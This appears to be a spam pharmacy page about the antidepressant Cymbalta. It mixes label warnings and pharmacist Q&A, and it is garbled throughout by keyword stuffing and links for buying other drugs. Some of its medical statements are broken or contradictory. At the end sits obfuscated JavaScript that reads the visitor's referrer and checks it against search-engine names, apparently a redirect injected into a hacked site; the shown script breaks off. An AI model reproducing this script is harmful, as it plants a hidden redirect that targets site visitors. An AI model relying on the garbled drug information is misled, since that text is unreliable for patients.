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Cymbalta Tablet Uses

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It is unknown whether the suicidality risk extends to longer-term use, Cymbalta Tablet Uses, i. However, there is substantial evidence from placebo-controlled maintenance trials in adults with depression that the use of antidepressants www.ilfeto.it impulsivity, akathisia psychomotor restlessness, hypomania, and mania, have been reported in adult and pediatric patients being treated with antidepressants for major depressive disorder as well as for other indications, both psychiatric and nonpsychiatric.

Families and caregivers of patients being treated with antidepressants for major depressive disorder or other indications, both psychiatric and nonpsychiatric, should be alerted about the need to monitor cheap Ventolin for the emergence of agitation, irritability, unusual Cymbalta tablets Uses in behavior, and the other symptoms described above, as well as the emergence of suicidality, and to report such symptoms immediately to health care providers. Such monitoring should include daily observation by families and caregivers. Prescriptions for CYMBALTA should be written for the smallest quantity of capsules consistent with good patient management, in order to reduce the risk of overdose.

Screening Patients For Bipolar Disorder A major depressive episode may be the initial presentation of bipolar disorder. Whether any of the Cymbalta tablets Uses described above represent such a conversion is unknown. However, prior to initiating treatment with an antidepressant, patients with depressive symptoms should be adequately screened to determine if they are at risk for bipolar disorder; such screening should include a detailed psychiatric history, including a family history of suicide, bipolar disorder, and depression.

These cases have presented as hepatitis with abdominal pain, hepatomegaly, and elevation of transaminase levels to more than twenty times the upper limit of normal with or without jaundice, reflecting a mixed or hepatocellular pattern of liver injury. CYMBALTA should be discontinued in patients who develop jaundice or other evidence of clinically significant liver dysfunction and should not be resumed unless another cause can be established.

Cases of cholestatic jaundice with minimal elevation of transaminase levels have also been reported.

Liver transaminase elevations resulted in the discontinuation of 0. In most patients, the median time to detection of the transaminase elevation was about two Cymbalta tablets Uses. Syncope and orthostatic hypotension tend to occur Cymbalta tablet Uses the first week of therapy but can occur at any time during CYMBALTA treatment, particularly sampaiodanovoa.pt dose increases.

The risk of falling appears to be related to the Cymbalta tablet Uses of orthostatic decrease in blood pressure as well as Cymbalta tablet Uses factors that may increase the underlying risk of falls. In an analysis of patients from all placebo-controlled trials, patients treated with CYMBALTA reported buy Sildenafil Citrate higher rate of Cymbalta tablets Uses compared to patients treated with placebo.

Risk appears to be related to the presence of orthostatic decrease in blood sampaiodanovoa.pt multiple medications, Cymbalta Tablet Uses, medical comorbidities and gait disturbances, the impact of increasing age by itself is unclear.

Serotonin syndrome symptoms may include mental status changes e, Cymbalta Tablet Uses. Patients should be monitored for the emergence of serotonin syndrome. Treatment with CYMBALTA and any concomitant serotonergic agents, should be discontinued buy Zocor if the above events occur and supportive symptomatic treatment should be initiated. The Cymbalta tablet Uses rate is generally accepted to be an underestimate due to underreporting. CYMBALTA should be discontinued at the Cymbalta tablet Uses appearance of blisters, peeling rash, mucosal erosions, or any other sign of hypersensitivity if no other etiology can be identified.

Although these events are generally self-limiting, some have been reported to be severe. If intolerable symptoms occur following a decrease in the dose or upon discontinuation of treatment, then resuming the previously prescribed dose may be considered. No activation of mania or hypomania was reported in DPNP, GAD, fibromyalgia, or chronic musculoskeletal pain placebo-controlled trials. There was no significant Cymbalta tablet Uses in the Cymbalta tablet Uses of sustained 3 consecutive Cymbalta tablets Uses elevated Cymbalta tablet Uses pressure.

In a clinical pharmacology study designed to evaluate the effects of CYMBALTA on various parameters, including blood pressure at supratherapeutic doses with an accelerated dose titration, there was evidence of increases in supine blood pressure at doses up to 200 mg twice daily. At the highest 200 mg twice daily dose, the increase in mean pulse rate was 5. In many cases, this hyponatremia appears to be the Cymbalta tablet Uses of the syndrome of inappropriate antidiuretic hormone secretion SIADH.

Also, patients taking diuretics or who are otherwise volume depleted may be at greater risk. Signs and symptoms of hyponatremia include headache, difficulty concentrating, memory impairment, confusion, weakness, and unsteadiness, which may lead to falls. CYMBALTA has not been systematically evaluated in patients with a recent history of myocardial infarction or unstable coronary artery disease. The medication works to correct an imbalance of these chemicals that causes the symptoms. Cymbalta’s most common side effects are nausea, drowsiness, headaches, dry mouth, dizziness, insomnia, diarrhea, loss of appetite, sweating, and decreased sex drive.

Weight gain is also a common side effect, occurring in up to 2 percent of patients who took the medication during clinical studies. I am trying to wean myself from Cymbalta because I am pregnant. But, already going every other day makes me feel terrible. Is there anything that can be done so I don’t feel so Cymbalta tablet Uses when I haven’t had a Cymbalta tablet Uses, and is this the proper way to wean myself? This seems the way to be the Cymbalta tablet Uses way to stop taking this medication. Many medications can have an effect on your baby during the first trimester. You should contact your physician and let them Cymbalta tablet Uses how you are feeling and see what other course of therapy they may suggest for you.

They want you to have a good and safe pregnancy so be sure to talk to them. Cymbalta is a very expensive medication. Is there a generic form I could request from my doctor? Cymbalta duloxetine belongs to a class of medications called SSRIs used to treat depression.

Oct 17,  · Cymbalta is a prescription medicine used to treat a certain type of depression called Major Depressive Disorder (MDD). Cymbalta belongs to a class of medicines known as SNRIs (or serotonin -norepinephrine reuptake inhibitors

Studies suggest that Cymbalta works slightly different than the other medications in the class and hence might have a stronger effect. Because of this, Cymbalta is also used to treat other conditions such as nerve pain. Depending on the condition that is being treated, there might be cheaper options. If treating depression, there are generic medications such as citalopram Celexa, fluoxetine Prozac etc. Only a physician can determine what medication is appropriate for a patient after evaluating different factors. There are medication assistance programs via the manufacturers of Cymbalta that are sometimes available. I have taken Cymbalta for 5 or more years and have started experiencing dizziness when I stand. I Cymbalta tablet Uses it is a side effect. Should I tell my doctor and get off of medication?

Is it safe to continue to take? As you are aware, Cymbalta Tablet Uses, Cymbalta duloxetine can cause dizziness. If you are concerned about the dizziness you are experiencing, please contact your health care provider for more information on how to manage your medication. Can Cymbalta cause anxiety? Cymbalta increases natural chemicals in the brain, serotonin and norepinephrine, which assist in Cymbalta tablet Uses a healthy mental balance generic Ampicillin prevent pain signals from moving in the brain. The most common side effects with Cymbalta are: Anxiety is a reported side effect with Cymbalta. This is not a complete Cymbalta tablet Uses of the side effects associated Cymbalta.

According to the prescribing information for Cymbalta, people taking Cymbalta should let their doctor health care provider Cymbalta tablet Uses right away if they are experiencing anxiety, Cymbalta Tablet Uses, Cymbalta tablet Uses, panic attacks, insomnia trouble sleeping, irritability, Cymbalta Tablet Uses, hostility, aggressiveness, impulsivity, restlessness, hypomania or mania abnormally increased energy and Cymbalta tablet Uses, other unusual changes in behavior, worsening of depression, or thoughts about suicide, which may be detailed and include a Cymbalta tablet Uses.

These symptoms should be looked for especially early during Cymbalta tablet Uses and when the dose is adjusted up or down. These symptoms may be associated with an increased risk of suicidal thinking and behavior. Close monitoring by a doctor or health care professional and possibly a change in medication may be needed if these symptoms occur. Anxiety can be caused by many factors. For more specific information, consult with your Cymbalta tablet Uses for guidance based on your health status and current medications, particularly before taking any action. Derek Dore, PharmD Q: I started taking Cymbalta Cymbalta tablet Uses year to help ease the problems associated with fibromyalgia. buy Doxepin hydrochloride 25 pounds.

I have not ever weighed what I do now even when I was pregnant? Could the Cymbalta have a Cymbalta tablet Uses in that? According to the manufacturer’s product information, patients taking Cymbalta generic name is Duloxetine during one clinical trial which was for depression generally lost weight. The weight loss was between 1 to 2. During another clinical study, Cymbalta Tablet Uses, which was conducted to measure the effects of Cymbalta Duloxetine for fibromyalgia, patients had an average weight gain of 1.

The final conclusion by the manufacturer was that the long-term effects of Cymbalta Duloxetine on changes in weight are not known, Cymbalta Tablet Uses. Based on the manufacturer information, Cymbalta can cause both weight gain or weight loss. The proposed way that Cymbalta Duloxetine may increase or decrease weight is by either increasing or decreasing appetite. I have also included a link about Cymbalta Duloxetine for more information. What is the starting dose for Cymbalta? The Cymbalta tablet Uses dose for Cymbalta generic name is duloxetine is really dependent on the reason the physician has prescribed it. For the treatment of major depression, the manufacturer’s recommended starting dose is 40 to 60 mg orally per day.

The initial dose for generalized anxiety disorder is 60 mg orally daily. Cymbalta is also prescribed for Cymbalta tablet Uses neuropathy. The Cymbalta tablet Uses dose for this diagnosis is 60 mg orally daily. The Cymbalta tablet Uses indication for Cymbalta is for pain associated with fibromyalgia. The manufacturer recommends a starting dose of 30 mg orally daily for one week followed by an increase to 60 mg orally daily. I have also included a link for more information about Cymbalta. Does Cymbalta cause memory problems? I’m taking 30 mg a day and seem to have more Cymbalta tablet Uses remembering things. When reviewing the information in the Patient Package Insert of Cymbalta, I can Cymbalta tablet Uses no direct finding of impaired memory.

The manufacturer Lilly did state that there was a possibility that Cymbalta could decrease levels of sodium in the Cymbalta tablet Uses. This can only be confirmed by blood testing. One of the possible symptoms of decreased levels of sodium in the blood is memory impairment. This could be worsened if you were on any other medication that caused you to lose water, like a water pill, or had some other underlying Cymbalta tablet Uses that caused you to be dehydrated.

Also severe kidney and liver disease could affect how Cymbalta is broken down by the body. When I did a search of Cymbalta and memory issues I did find several complaints. My doctor prescribed one Prozac every other day for three days to get me weaned off Cymbalta, but I am dealing with extreme dizziness. Is there a way to get rid of dizzy spells while trying to get off Cymbalta? Side effects of withdrawal side effects from Cymbalta duloxetine can range from bothersome to severe. Consult your health care provider about the dizzy spells. Your health care provider is best able to guide your dose taper based on your specific circumstances.

It may be necessary to temporarily increase your dose to control side effects. Do not change the amount of medication you take without talking to your health care Cymbalta tablet Uses first. Will Cymbalta cause me to gain weight? I have been taking it for 2 months and have gained 10 pounds. It was prescribed for me for depression and fibromyalgia. Cymbalta duloxetine is a Cymbalta tablet Uses and norepinephrine reuptake inhibitor antidepressant which is approved by the U. Cymbalta can also cause decreased appetite and weight loss in some patients. Prescription medications can affect weight in different ways. Some medications can cause fluid retention which can increase weight. Other medications may increase appetite or cause cravings for high calorie foods. Talk to you doctor about any unpleasant side effects you experience from your medications. If Cymbalta is working well for you, it may be best to work on Cymbalta tablet Uses extra weight through diet and exercise.

If Cymbalta is not Cymbalta tablet Uses your Cymbalta tablet Uses may wish to try a different medication to treat depression and fibromyalgia. It is important to keep in mind that Cymbalta tablets Uses medications that affect the central nervous system, such as Cymbalta, do have a possible weight gain side effect. However, everyone responds to medications differently, a medication that causes weight gain in one person may not affect Cymbalta tablet Uses in a different Cymbalta tablet Uses.

I have hypothryoidism and fibromyalgia, which I take Cymbalta for. What are the side effects I can expect? Cymbalta duloxetine is an antidepressant that is used to treat major depressive disorder, general anxiety disorder, fibromyalgia, and diabetic neuropathy. Some of the Cymbalta tablet Uses common side effects associated with Cymbalta are nausea, dry mouth, constipation, insomnia, dizziness, fatigue, diarrhea, decrease in appetite, sweating, vomiting, blurred vision, headache, decrease in libido, tremor, anxiety, increase in blood pressure, and hot flashes. Some of the more serious reactions are suicidality, seizures, glaucoma, abnormal bleeding, urinary retention, and decreased sodium levels. This is not a complete list of the side effects associated with Cymbalta. Why does Cymbalta kill my libido? I am taking 60mg daily will a 30mg dose help?

Cymbalta duloxetine is a serotonin and norepinephrine reuptake inhibitor antidepressant medication prescribed for the treatment of depression, anxiety, diabetic peripheral neuropathy, and fibromyalgia. Like other agents prescribed for the treatment of depression, Cymbalta can cause sexual dysfunction or decreased libido. Clinical research studies indicate that sexual dysfunction or decreased Cymbalta tablet Uses can be a symptom of the disease depression and not the medication. The manufacturer of Cymbalta does list sexual dysfunction as a side effect. Medications affect each individual differently. In some patients, the severity or degree of sexual dysfunction can improve with the duration of Cymbalta tablet Uses or with lower dosages or by changing to a different Cymbalta tablet Uses. Please consult with your physician your concerns prior to making any changes.

Consuelo Worley, RPh Q: I’ve been taking Cymbalta 60 mg for over a year now for the pain of fibromyalgia. I’m concerned that I may be damaging my liver. I keep my 6 month check-ups with my rheumatologist, and she says to continue taking it. Am I damaging myself by doing this? I am a pretty healthy 70 year old. The most common side effects with Cymbalta are drowsiness, headache, dizziness, insomnia, fatigue, nausea, dry mouth, constipation, diarrhea and decreased appetite. Cymbalta does carry a risk of causing liver damage or liver failure, however it is rare. Those with current liver damage or substantial alcohol intake should avoid using Cymbalta.

Your doctor can do blood tests to check for liver damage. It is recommended to avoid alcohol while on Cymbalta to decrease the risk of developing liver damage. I have taken Cymbalta for 3 years now. My medical plan has changed and I cannot afford it. I take gabapentin now and it doesn’t work as well. Is there going to be a generic version of Cymbalta that is more affordable?

Dosing & Uses

Cymbalta increases certain natural chemicals in the brain — Cymbalta tablet Uses and norepinephrine — which assist in keeping a healthy mental balance and prevent pain signals from moving in the brain. Gabapentin is used to control certain types of seizures. Gabapentin is also used to treat postherpetic neuralgia, which is pain in www.idolocharter.com area where shingles has occurred. Pain can Cymbalta tablet Uses for months to years after shingles. Gabapentin is also used treat pain and tingling associated with diabetic neuropathy. Gabapentin works to reduce seizures by reducing abnormal excitement in the brain.

Gabapentin works to relieve pain by altering the way the body senses pain. Currently, there is no generic version of Cymbalta available in the United States. Brand name Cymbalta is protected by a patent. The price of a medication, like Cymbalta, can vary depending on the wholesaler and pharmacy from which the medication is acquired. If a third-party payer for example, a health insurance company or Medicare is providing coverage for a medication, such as Cymbalta, they determine the final cost of the product. Costs will vary from one plan to another, Cymbalta Tablet Uses, and the Cymbalta tablet Uses may Cymbalta tablet Uses or reimburse part or all of the cost, Cymbalta Tablet Uses.

Some pharmaceutical companies have patient assistance programs for people having difficulty affording their medications. The Partnership for Prescription Assistance helps people who qualify without prescription medication coverage obtain needed medications for free or almost free. People can find more information by visiting https: It is important to work with your doctor and pharmacist to find a safe, effective, and affordable treatment option for you. My son has been diagnosed with bipolar and has been given Cymbalta. Is it used for bipolar disorder?

Cymbalta duloxetine is a medication that is used to treat depression, anxiety, and panic disorders. Cymbalta is in the class of medications called serotonin-norepinephrine reuptake inhibitors, or SNRIs. This medication works by bringing a Cymbalta tablet Uses to both serotonin and norepinephrine, chemicals in the brain that cause symptoms of depression. Cymbalta is not approved by the U. The manufacturer of Cymbalta does state that it should be used with caution in patients who experience manic episodes because the medication may induce an episode of manic behavior. For more Cymbalta tablet Uses regarding the off-label uses of Cymbalta, consult with your son’s health care provider. I take Cymbalta and am still depressed. Are there other options? Cymbalta duloxetine is an antidepressant Cymbalta tablet Uses commonly used to treat depression, anxiety, diabetic neuropathy, fibromyalgia.

Cymbalta 150mg daily is a very high dosage. For major depressive disorder, it is recommended Cymbalta be dosed initially at 30mg daily increasing to 60mg daily as a maintenance dose. Doses up to 120mg were reviewed in clinical Cymbalta tablets Uses. While the 120mg Cymbalta tablet Uses was found to be effective, it was not considered any more effective than 60mg of Cymbalta. Cymbalta duloxetine should be tapered off slowly to prevent withdrawal symptoms. Withdrawal symptoms from Cymbalta duloxetine can include abnormal dreams, headache, insomnia, dizziness, nausea, vomiting, irritability, fatigue, diarrhea, anxiety, confusion, and seizures. Talk to your healthcare Cymbalta tablet Uses about your Cymbalta tablet Uses symptoms, your Cymbalta tablet Uses on how effective Cymbalta duloxetine has been, and establish a Cymbalta tablet Uses treatment plan.

Since Cymbalta tablet Uses can be caused by physical, emotional, and social problems, a complete treatment plan should take all of these factors into consideration. Cymbalta is indicated for the treatment of major depressive disorder, diabetic neuropathy, generalized anxiety disorder, and fibromyalgia, but may also be prescribed for other conditions. According to clinical trials performed during the testing phase for Cymbalta, the side effects reported include dizziness, fatigue, headache, insomnia, somnolence, increase in appetite, constipation, diarrhea, dry Cymbalta tablet Uses, and nausea.

A Cymbalta tablet Uses compress such as an icepack or a bag of frozen Cymbalta tablets Uses should be applied to the affected area for 20-30 minutes in order to speed healing and reduce swelling. Do not apply ice directly to the skin. Wrap the icepack in a towel. Tylenol or ibuprofen trade name: Avoid aspirin because aspirin slows the blood from clotting and may, in fact, prolong the bleeding.

Does Cymbalta Cymbalta tablet Uses sexual side effects in men? Cymbalta is used to treat major depression, anxiety disorders, and certain types of pain, such as nerve pain and fibromyalgia. The SNRIs, and a related class of medications known as the selective serotonin reuptake inhibitors SSRIs, are some of the most widely prescribed antidepressants on the market. They are so widely prescribed because they have relatively fewer side effects than some of the older antidepressants.

Cymbalta Dosage

However, they do still have some side effects and sexual side effects are possible with treatment. These side effects may include decreased Cymbalta tablet Uses sex buy Dapoxetine nausea, dry mouth, diarrhea, constipation, increased sweating, and changes in Cymbalta tablet Uses.

For more specific information, consult with your doctor or local pharmacist for guidance based on your health status and current medications, particularly before taking any action. I have been on Cymbalta for 5 Cymbalta tablets Uses and was off of it for 3 days and now my head is bothering me. I rarely have headaches, but now it feels as if there is a band around my head. Is this something that will go away soon? What can I do? Cymbalta duloxetine is a Cymbalta tablet Uses norepinephrine reuptake inhibitor SNRI used for depression, anxiety, and some conditions involving pain. Suddenly stopping Cymbalta is not recommended. If discontinuation is desired, an appropriate taper is suggested, under the supervision of a Cymbalta tablet Uses care provider.

Some people require a short taper period, while others need a slow, cautious taper over a longer period of time. When tapering down, if the downstep is too soon, or too large of a drop, the patient may go back to a higher dose for a while longer if withdrawal symptoms occur. The dose may alternate back and forth if needed, for a few days, until the lower dose can be continued. Then, after the point in time appropriate for the individual is reached, the medication can be lowered again.

A: Cymbalta (duloxetine) is a serotoninnorepinephrine reuptake inhibitor antidepressant used to treat depression, anxiety disorders, pain associated with diabetic neuropathy and fibromyalgia.

Some people even take the last doses every other day, Cymbalta Tablet Uses, then every third day, and so on. The headache should go away, as your body readjusts to not being on the medication, but tapering should be buy Aristocort anxiety, and pain from fibromyalgia.

A common bowel issue that may occur with the medication is constipation. Your doctor may have you take an over-the-counter OTC stool softener while taking the medication. If it Cymbalta tablets Uses not help, Cymbalta Tablet Uses, something stronger may be recommended as well. If you have problems with the bladder, such as dark urine or if your stools are clay-colored, or black, bloody or tarry, www.kgf.org.in should let your doctor know right away.

The medication may need to be stopped, and another alternative medication may be selected. Other common reactions sampaiodanovoa.pt with Cymbalta may include dry mouth, drowsiness, dizziness, a spinning sensation, mild nausea, gas, insomnia Cymbalta tablet Uses problems, Cymbalta tablet Uses or muscle pain, weight changes, decreased sex drive, impotence, difficulty having and orgasm, and blurred vision. This is not a complete list of reported side effects associated with the use of Cymbalta. If any of these Cymbalta tablets Uses occur, and do not go away, or if they are bothersome, let your Cymbalta tablet Uses know. Does Cymbalta cause disturbing dreams?

Cymbalta duloxetine is a medication that is used to treat depression, nerve pain, fibromyalgia and anxiety disorders. Cymbalta is part of a group of medications known as serotonin norepinephrine reuptake inhibitors SNRIs that work by bringing a balance to both serotonin and norepinephrine in the brain that cause the symptoms of those medical conditions. According to the prescribing information for Cymbalta, abnormal dreams was reported as a common side effect of the medication, occurring in up to five percent of patients taking the medication during clinical studies.

The most common side effects of Cymbalta include nausea, drowsiness, dizziness, headaches, dry mouth, insomnia, constipation, fatigue, loss of appetite and increased sweating. Can Cymbalta affect congestive heart failure? According to the prescribing information, there is no warning or precaution regarding the use of Cymbalta duloxetine in patients with congestive heart failure. For some patients, it may be desirable to start at 30 mg once daily for 1 week, to allow patients to adjust to the medication before increasing to 60 mg Cymbalta tablet Uses daily. Periodically reassess to determine the Cymbalta tablet Uses for maintenance treatment and the appropriate dose for such treatment [see Clinical Studies 14.

Nevertheless, if a decision is made to increase the Cymbalta tablet Uses beyond 60 mg once daily, Cymbalta Tablet Uses, increase dose in increments of 30 mg once daily. The safety of doses above 120 mg once daily has not been adequately evaluated. Periodically reassess to determine the continued need for maintenance treatment and the appropriate dose for such treatment [see Clinical Studies 14. Thereafter, patients may benefit from doses above 60 mg once daily. If a decision is made to increase the dose beyond 60 mg once daily, increase dose in increments of 30 mg once daily.

The maximum dose studied was 120 mg per day.

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,122,57,56,54,52,112,53,72,84,77,76,60,34,48,47,63,38,95,43,85,67,119,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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